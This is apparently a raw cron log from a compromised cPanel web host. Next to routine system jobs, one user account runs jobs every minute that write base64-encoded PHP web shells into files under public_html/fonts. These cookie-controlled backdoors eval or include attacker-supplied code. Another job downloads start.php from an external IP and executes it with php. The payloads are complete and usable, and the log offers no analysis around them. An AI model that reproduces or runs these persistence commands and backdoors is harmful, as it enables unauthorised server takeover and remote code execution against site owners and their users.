Sep 10 02:09:01 ip-184-168-122-23 CROND[15456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:09:01 ip-184-168-122-23 CROND[15458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:09:01 ip-184-168-122-23 CROND[15459]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 02:10:01 ip-184-168-122-23 CROND[15634]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:10:01 ip-184-168-122-23 CROND[15638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:10:01 ip-184-168-122-23 CROND[15637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:10:01 ip-184-168-122-23 CROND[15643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:10:01 ip-184-168-122-23 CROND[15641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:10:01 ip-184-168-122-23 CROND[15640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:10:01 ip-184-168-122-23 CROND[15644]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:10:01 ip-184-168-122-23 CROND[15645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:11:01 ip-184-168-122-23 CROND[15745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:11:01 ip-184-168-122-23 CROND[15746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:11:01 ip-184-168-122-23 CROND[15747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:11:01 ip-184-168-122-23 CROND[15751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:12:01 ip-184-168-122-23 CROND[15827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:12:01 ip-184-168-122-23 CROND[15829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:12:01 ip-184-168-122-23 CROND[15831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:12:01 ip-184-168-122-23 CROND[15832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:12:01 ip-184-168-122-23 CROND[15830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:13:01 ip-184-168-122-23 CROND[15915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:13:01 ip-184-168-122-23 CROND[15917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:13:01 ip-184-168-122-23 CROND[15918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:13:01 ip-184-168-122-23 CROND[15919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:14:01 ip-184-168-122-23 CROND[16058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:14:01 ip-184-168-122-23 CROND[16060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:14:01 ip-184-168-122-23 CROND[16062]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:14:01 ip-184-168-122-23 CROND[16063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:14:01 ip-184-168-122-23 CROND[16061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:15:01 ip-184-168-122-23 CROND[16224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:15:01 ip-184-168-122-23 CROND[16226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:15:01 ip-184-168-122-23 CROND[16229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:15:01 ip-184-168-122-23 CROND[16228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:15:01 ip-184-168-122-23 CROND[16227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:15:01 ip-184-168-122-23 CROND[16230]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 02:15:01 ip-184-168-122-23 CROND[16231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:16:01 ip-184-168-122-23 CROND[16324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:16:01 ip-184-168-122-23 CROND[16329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:16:01 ip-184-168-122-23 CROND[16328]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 02:16:01 ip-184-168-122-23 CROND[16330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:16:01 ip-184-168-122-23 CROND[16327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:16:01 ip-184-168-122-23 CROND[16326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:17:01 ip-184-168-122-23 CROND[16413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:17:01 ip-184-168-122-23 CROND[16415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:17:01 ip-184-168-122-23 CROND[16417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:17:01 ip-184-168-122-23 CROND[16416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:18:01 ip-184-168-122-23 CROND[16515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:18:01 ip-184-168-122-23 CROND[16519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:18:01 ip-184-168-122-23 CROND[16518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:18:01 ip-184-168-122-23 CROND[16520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:18:01 ip-184-168-122-23 CROND[16517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:19:01 ip-184-168-122-23 CROND[16618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:19:01 ip-184-168-122-23 CROND[16620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:19:01 ip-184-168-122-23 CROND[16623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:19:01 ip-184-168-122-23 CROND[16624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:20:01 ip-184-168-122-23 CROND[16722]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:20:01 ip-184-168-122-23 CROND[16723]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 02:20:01 ip-184-168-122-23 CROND[16727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:20:01 ip-184-168-122-23 CROND[16729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:20:01 ip-184-168-122-23 CROND[16728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:20:01 ip-184-168-122-23 CROND[16731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:20:01 ip-184-168-122-23 CROND[16733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:20:01 ip-184-168-122-23 CROND[16734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:20:01 ip-184-168-122-23 CROND[16735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:21:01 ip-184-168-122-23 CROND[16829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:21:01 ip-184-168-122-23 CROND[16831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
